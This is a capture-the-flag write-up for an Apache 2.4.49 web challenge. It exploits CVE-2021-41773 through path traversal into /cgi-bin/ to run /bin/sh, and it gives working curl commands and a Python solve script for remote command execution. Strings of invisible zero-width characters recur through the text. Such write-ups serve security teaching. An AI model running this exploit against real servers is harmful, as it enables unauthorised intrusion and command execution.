← Back to Writeups
CUSTOMEasyWeb

Художник

XESXOR9/10/20263 min read
#web#custom#easy#apache_path_traversal#cgi_rce#filesystem_enumeration#cve-2021-41773#linux

Художник

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: apache_path_traversal, cgi_rce, filesystem_enumeration

Summary

Task: a static-looking Apache 2.4.49 website exposed a vulnerable CGI setup consistent with CVE-2021-41773. Solution: use path traversal through /cgi-bin/ to execute /bin/sh, enumerate the filesystem, and grep for the hidden flag file.

Художник — Hackerlab

Description

Художник

English summary: The target was a minimal static-looking website on Apache 2.4.49. The goal was to turn the outdated Apache version into code execution, enumerate the container layout, and recover the flag.

Target: http://62.173.140.174:10009

Analysis

Reconnaissance

Initial probing showed an old Apache release:

bash
curl -I http://62.173.140.174:10009

Relevant response header:

text
Server: Apache/2.4.49 (Unix)

The homepage was a simple site titled Minimalism with links to index.html, about.html, and contact.html. Common quick checks such as robots.txt, .git/HEAD, and .env returned 404, so there was no easy information disclosure path. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key observation was the exact Apache version. Apache 2.4.49 is affected by CVE-2021-41773, where path traversal can be abused and, when CGI is enabled, may lead to command execution.

Vulnerability Identification

The first attempt was classic traversal to read files directly:

bash
curl --path-as-is \
  "http://62.173.140.174:10009/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

This returned 403 Forbidden, so straightforward file read was blocked.

However, the vulnerable Apache version was still exploitable through the CGI handler. Instead of reading a file directly, it was possible to traverse out of /cgi-bin/ and invoke /bin/sh. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm CGI RCE

The working request was:

bash
curl --path-as-is -X POST \
  "http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
  -d "echo Content-Type: text/plain; echo; id; ls /"

This returned command output and confirmed code execution as:

text
uid=1(daemon) gid=1(bin) groups=1(bin)

That was enough to prove the box was vulnerable to the CGI path traversal / RCE variant of the Apache 2.4.49 bug.

Step 2: Enumerate the Environment

After obtaining shell command execution, the next step was to inspect the Apache layout and identify useful directories. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Example commands:

bash
curl --path-as-is -X POST \
  "http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
  -d "echo Content-Type: text/plain; echo; env; ls -la /usr/local/apache2/htdocs; ls -la /usr/local/apache2/cgi-bin; cat /usr/local/apache2/conf/httpd.conf"

Important findings:

  • DOCUMENT_ROOT=/usr/local/apache2/htdocs
  • CGI directory: /usr/local/apache2/cgi-bin
  • Web files present: index.html, about.html, contact.html
  • Apache config used the default CGI mapping: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
apache
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

This explained why direct traversal failed with 403, while CGI execution through /cgi-bin/ still worked.

Step 3: Search for the Flag

With command execution available, the simplest way to locate the flag was a recursive search across the filesystem while skipping noisy pseudo-filesystems.

bash
curl --path-as-is -X POST \
  "http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
  -d "echo Content-Type: text/plain; echo; grep -R \"CODEBY{\" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=dev 2>/dev/null"

This located the flag here: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
/tmp/my_reviews/.good_review.txt:13:От себя даю промокод на скидку 13% для его услуг: CODEBY{REDACTED}

Full Working Solve Script

python
#!/usr/bin/env python3
import http.client

HOST = "62.173.140.174"
PORT = 10009
PATH = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"


def run(cmd: str) -> str:
    body = f"echo Content-Type: text/plain; echo; {cmd}"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    data = resp.read().decode("utf-8", errors="replace")
    conn.close()
    return data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


print("[+] id")
print(run("id"))

print("[+] environment and Apache layout")
print(run("env; ls -la /usr/local/apache2/htdocs; ls -la /usr/local/apache2/cgi-bin"))

print("[+] searching for flag")
print(run('grep -R "CODEBY{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=dev 2>/dev/null'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍